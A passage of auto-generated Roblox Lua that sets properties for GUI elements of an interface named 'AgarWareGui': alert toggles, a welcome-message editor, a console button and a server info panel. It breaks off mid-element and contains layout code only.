G2L["2a0"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a0"]["ZIndex"] = 5;
G2L["2a0"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2a0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2a0"]["Text"] = [[]];
G2L["2a0"]["Name"] = [[MutedSpyTickBox]];
G2L["2a0"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.MutedSpyRow.MutedSpyText
G2L["2a1"] = Instance.new("TextLabel", G2L["29f"]);
G2L["2a1"]["BorderSizePixel"] = 0;
G2L["2a1"]["TextSize"] = 14;
G2L["2a1"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2a1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a1"]["BackgroundTransparency"] = 1;
G2L["2a1"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2a1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a1"]["Text"] = [[Alert Muted Msgs]];
G2L["2a1"]["Name"] = [[MutedSpyText]];
G2L["2a1"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow
G2L["2a2"] = Instance.new("Frame", G2L["296"]);
G2L["2a2"]["BorderSizePixel"] = 0;
G2L["2a2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a2"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2a2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2a2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a2"]["Name"] = [[EnlightenLogRow]];
G2L["2a2"]["LayoutOrder"] = 7;
G2L["2a2"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogScript
G2L["2a3"] = Instance.new("LocalScript", G2L["2a2"]);
G2L["2a3"]["Name"] = [[EnlightenLogScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogTickBox
G2L["2a4"] = Instance.new("TextButton", G2L["2a2"]);
G2L["2a4"]["TextSize"] = 14;
G2L["2a4"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a4"]["ZIndex"] = 5;
G2L["2a4"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2a4"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2a4"]["Text"] = [[]];
G2L["2a4"]["Name"] = [[EnlightenLogTickBox]];
G2L["2a4"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogText
G2L["2a5"] = Instance.new("TextLabel", G2L["2a2"]);
G2L["2a5"]["BorderSizePixel"] = 0;
G2L["2a5"]["TextSize"] = 14;
G2L["2a5"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2a5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a5"]["BackgroundTransparency"] = 1;
G2L["2a5"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2a5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a5"]["Text"] = [[Alert Enlighteners]];
G2L["2a5"]["Name"] = [[EnlightenLogText]];
G2L["2a5"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.ArkSpyRow
G2L["2a6"] = Instance.new("Frame", G2L["296"]);
G2L["2a6"]["BorderSizePixel"] = 0;
G2L["2a6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2a6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2a6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a6"]["Name"] = [[ArkSpyRow]];
G2L["2a6"]["LayoutOrder"] = 6;
G2L["2a6"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.ArkSpyRow.ArkSpyTickBox
G2L["2a7"] = Instance.new("TextButton", G2L["2a6"]);
G2L["2a7"]["TextSize"] = 14;
G2L["2a7"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a7"]["ZIndex"] = 5;
G2L["2a7"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2a7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2a7"]["Text"] = [[]];
G2L["2a7"]["Name"] = [[ArkSpyTickBox]];
G2L["2a7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.ArkSpyRow.ArkSpyText
G2L["2a8"] = Instance.new("TextLabel", G2L["2a6"]);
G2L["2a8"]["BorderSizePixel"] = 0;
G2L["2a8"]["TextSize"] = 14;
G2L["2a8"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2a8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a8"]["BackgroundTransparency"] = 1;
G2L["2a8"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2a8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a8"]["Text"] = [[Alert Hidden Cmds]];
G2L["2a8"]["Name"] = [[ArkSpyText]];
G2L["2a8"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow
G2L["2a9"] = Instance.new("Frame", G2L["296"]);
G2L["2a9"]["BorderSizePixel"] = 0;
G2L["2a9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a9"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2a9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2a9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a9"]["Name"] = [[BkitDeleteRow]];
G2L["2a9"]["LayoutOrder"] = 7;
G2L["2a9"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteScript
G2L["2aa"] = Instance.new("LocalScript", G2L["2a9"]);
G2L["2aa"]["Name"] = [[BkitDeleteScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteTickBox
G2L["2ab"] = Instance.new("TextButton", G2L["2a9"]);
G2L["2ab"]["TextSize"] = 14;
G2L["2ab"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ab"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ab"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ab"]["ZIndex"] = 5;
G2L["2ab"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2ab"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2ab"]["Text"] = [[]];
G2L["2ab"]["Name"] = [[BkitDeleteTickBox]];
G2L["2ab"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteText
G2L["2ac"] = Instance.new("TextLabel", G2L["2a9"]);
G2L["2ac"]["BorderSizePixel"] = 0;
G2L["2ac"]["TextSize"] = 14;
G2L["2ac"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2ac"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ac"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ac"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ac"]["BackgroundTransparency"] = 1;
G2L["2ac"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2ac"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ac"]["Text"] = [[Alert Bkit Disabler]];
G2L["2ac"]["Name"] = [[BkitDeleteText]];
G2L["2ac"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow
G2L["2ad"] = Instance.new("Frame", G2L["296"]);
G2L["2ad"]["BorderSizePixel"] = 0;
G2L["2ad"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ad"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2ad"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2ad"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ad"]["Name"] = [[RepPaintsRow]];
G2L["2ad"]["LayoutOrder"] = 8;
G2L["2ad"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsScript
G2L["2ae"] = Instance.new("LocalScript", G2L["2ad"]);
G2L["2ae"]["Name"] = [[RepPaintsScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsTickBox
G2L["2af"] = Instance.new("TextButton", G2L["2ad"]);
G2L["2af"]["TextSize"] = 14;
G2L["2af"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2af"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2af"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2af"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2af"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2af"]["Text"] = [[]];
G2L["2af"]["Name"] = [[RepPaintsTickBox]];
G2L["2af"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsText
G2L["2b0"] = Instance.new("TextLabel", G2L["2ad"]);
G2L["2b0"]["BorderSizePixel"] = 0;
G2L["2b0"]["TextSize"] = 14;
G2L["2b0"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2b0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b0"]["BackgroundTransparency"] = 1;
G2L["2b0"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2b0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b0"]["Text"] = [[Alert Rep Changes]];
G2L["2b0"]["Name"] = [[RepPaintsText]];
G2L["2b0"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup
G2L["2b1"] = Instance.new("Frame", G2L["294"]);
G2L["2b1"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["2b1"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["2b1"]["Size"] = UDim2.new(0, 170, 0, 62);
G2L["2b1"]["Position"] = UDim2.new(0, 0, 0.41944, 0);
G2L["2b1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2b1"]["Name"] = [[PlayerAlertGroup]];
G2L["2b1"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTooltip
G2L["2b2"] = Instance.new("LocalScript", G2L["2b1"]);
G2L["2b2"]["Name"] = [[PlayerAlertTooltip]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertScript
G2L["2b3"] = Instance.new("LocalScript", G2L["2b1"]);
G2L["2b3"]["Name"] = [[PlayerAlertScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.UIListLayout
G2L["2b4"] = Instance.new("UIListLayout", G2L["2b1"]);
G2L["2b4"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertAccentColor
G2L["2b5"] = Instance.new("Frame", G2L["2b1"]);
G2L["2b5"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2b5"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["2b5"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["2b5"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["2b5"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["2b5"]["Name"] = [[PlayerAlertAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTitle
G2L["2b6"] = Instance.new("TextLabel", G2L["2b1"]);
G2L["2b6"]["TextWrapped"] = true;
G2L["2b6"]["BorderSizePixel"] = 0;
G2L["2b6"]["TextSize"] = 14;
G2L["2b6"]["TextScaled"] = true;
G2L["2b6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b6"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["2b6"]["BackgroundTransparency"] = 0.95;
G2L["2b6"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["2b6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b6"]["Text"] = [[Player Alerts]];
G2L["2b6"]["LayoutOrder"] = 1;
G2L["2b6"]["Name"] = [[PlayerAlertTitle]];
G2L["2b6"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTitle.PlayerAlertMinimize
G2L["2b7"] = Instance.new("TextButton", G2L["2b6"]);
G2L["2b7"]["BorderSizePixel"] = 0;
G2L["2b7"]["TextSize"] = 14;
G2L["2b7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b7"]["BackgroundTransparency"] = 1;
G2L["2b7"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["2b7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b7"]["Text"] = [[-]];
G2L["2b7"]["Name"] = [[PlayerAlertMinimize]];
G2L["2b7"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow
G2L["2b8"] = Instance.new("Frame", G2L["2b1"]);
G2L["2b8"]["BorderSizePixel"] = 0;
G2L["2b8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b8"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2b8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2b8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b8"]["Name"] = [[WelcomeRow]];
G2L["2b8"]["LayoutOrder"] = 2;
G2L["2b8"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeScript
G2L["2b9"] = Instance.new("LocalScript", G2L["2b8"]);
G2L["2b9"]["Name"] = [[WelcomeScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeTickBox
G2L["2ba"] = Instance.new("TextButton", G2L["2b8"]);
G2L["2ba"]["TextSize"] = 14;
G2L["2ba"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ba"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ba"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ba"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2ba"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2ba"]["Text"] = [[]];
G2L["2ba"]["Name"] = [[WelcomeTickBox]];
G2L["2ba"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeText
G2L["2bb"] = Instance.new("TextLabel", G2L["2b8"]);
G2L["2bb"]["BorderSizePixel"] = 0;
G2L["2bb"]["TextSize"] = 14;
G2L["2bb"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2bb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2bb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2bb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2bb"]["BackgroundTransparency"] = 1;
G2L["2bb"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2bb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2bb"]["Text"] = [[Welcome Messages]];
G2L["2bb"]["Name"] = [[WelcomeText]];
G2L["2bb"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow
G2L["2bc"] = Instance.new("Frame", G2L["2b1"]);
G2L["2bc"]["BorderSizePixel"] = 0;
G2L["2bc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2bc"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2bc"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2bc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2bc"]["Name"] = [[WelcomeMSGRow]];
G2L["2bc"]["LayoutOrder"] = 3;
G2L["2bc"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGScript
G2L["2bd"] = Instance.new("LocalScript", G2L["2bc"]);
G2L["2bd"]["Name"] = [[WelcomeMSGScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGChanger
G2L["2be"] = Instance.new("TextBox", G2L["2bc"]);
G2L["2be"]["Name"] = [[WelcomeMSGChanger]];
G2L["2be"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2be"]["TextWrapped"] = true;
G2L["2be"]["TextSize"] = 14;
G2L["2be"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2be"]["TextScaled"] = true;
G2L["2be"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2be"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2be"]["ClearTextOnFocus"] = false;
G2L["2be"]["Size"] = UDim2.new(0, 134, 0, 16);
G2L["2be"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
G2L["2be"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2be"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGHelp
G2L["2bf"] = Instance.new("TextButton", G2L["2bc"]);
G2L["2bf"]["TextSize"] = 14;
G2L["2bf"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["2bf"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["2bf"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["2bf"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2bf"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["2bf"]["Text"] = [[?]];
G2L["2bf"]["Name"] = [[WelcomeMSGHelp]];
G2L["2bf"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.OPENCONSOLE
G2L["2c0"] = Instance.new("TextButton", G2L["17"]);
G2L["2c0"]["TextWrapped"] = true;
G2L["2c0"]["TextSize"] = 12;
G2L["2c0"]["TextScaled"] = true;
G2L["2c0"]["TextColor3"] = Color3.fromRGB(125, 125, 125);
G2L["2c0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c0"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["2c0"]["LayoutOrder"] = 5;
G2L["2c0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2c0"]["Text"] = [[OPEN CONSOLE]];
G2L["2c0"]["Name"] = [[OPENCONSOLE]];
G2L["2c0"]["Position"] = UDim2.new(-0.186, 0, 0.906, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.OPENCONSOLE.LocalScript
G2L["2c1"] = Instance.new("LocalScript", G2L["2c0"]);



-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage
G2L["2c2"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["2c2"]["Active"] = true;
G2L["2c2"]["BorderSizePixel"] = 0;
G2L["2c2"]["Name"] = [[MenuPage]];
G2L["2c2"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["2c2"]["Size"] = UDim2.new(0, 349, 0, 250);
G2L["2c2"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c2"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["2c2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c2"]["ScrollBarThickness"] = 0;
G2L["2c2"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide
G2L["2c3"] = Instance.new("Frame", G2L["2c2"]);
G2L["2c3"]["BorderSizePixel"] = 0;
G2L["2c3"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["2c3"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["2c3"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["2c3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c3"]["Name"] = [[MenuLeftSide]];
G2L["2c3"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.UIListLayout
G2L["2c4"] = Instance.new("UIListLayout", G2L["2c3"]);
G2L["2c4"]["Padding"] = UDim.new(0, 7);
G2L["2c4"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup
G2L["2c5"] = Instance.new("Frame", G2L["2c3"]);
G2L["2c5"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["2c5"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["2c5"]["Size"] = UDim2.new(0, 170, 0, 103);
G2L["2c5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2c5"]["Name"] = [[ServerGroup]];
G2L["2c5"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerScript
G2L["2c6"] = Instance.new("LocalScript", G2L["2c5"]);
G2L["2c6"]["Name"] = [[ServerScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.UIListLayout
G2L["2c7"] = Instance.new("UIListLayout", G2L["2c5"]);
G2L["2c7"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerAccentColor
G2L["2c8"] = Instance.new("Frame", G2L["2c5"]);
G2L["2c8"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2c8"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["2c8"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["2c8"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["2c8"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["2c8"]["Name"] = [[ServerAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerTitle
G2L["2c9"] = Instance.new("TextLabel", G2L["2c5"]);
G2L["2c9"]["TextWrapped"] = true;
G2L["2c9"]["BorderSizePixel"] = 0;
G2L["2c9"]["TextSize"] = 14;
G2L["2c9"]["TextScaled"] = true;
G2L["2c9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2c9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c9"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["2c9"]["BackgroundTransparency"] = 0.95;
G2L["2c9"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["2c9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c9"]["Text"] = [[Server Info]];
G2L["2c9"]["LayoutOrder"] = 1;
G2L["2c9"]["Name"] = [[ServerTitle]];
G2L["2c9"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerTitle.ServerMinimize
G2L["2ca"] = Instance.new("TextButton", G2L["2c9"]);
G2L["2ca"]["BorderSizePixel"] = 0;
G2L["2ca"]["TextSize"] = 14;
G2L["2ca"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ca"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ca"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ca"]["BackgroundTransparency"] = 1;
G2L["2ca"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["2ca"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ca"]["Text"] = [[-]];
G2L["2ca"]["Name"] = [[ServerMinimize]];
G2L["2ca"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.PlayersRow
G2L["2cb"] = Instance.new("Frame", G2L["2c5"]);
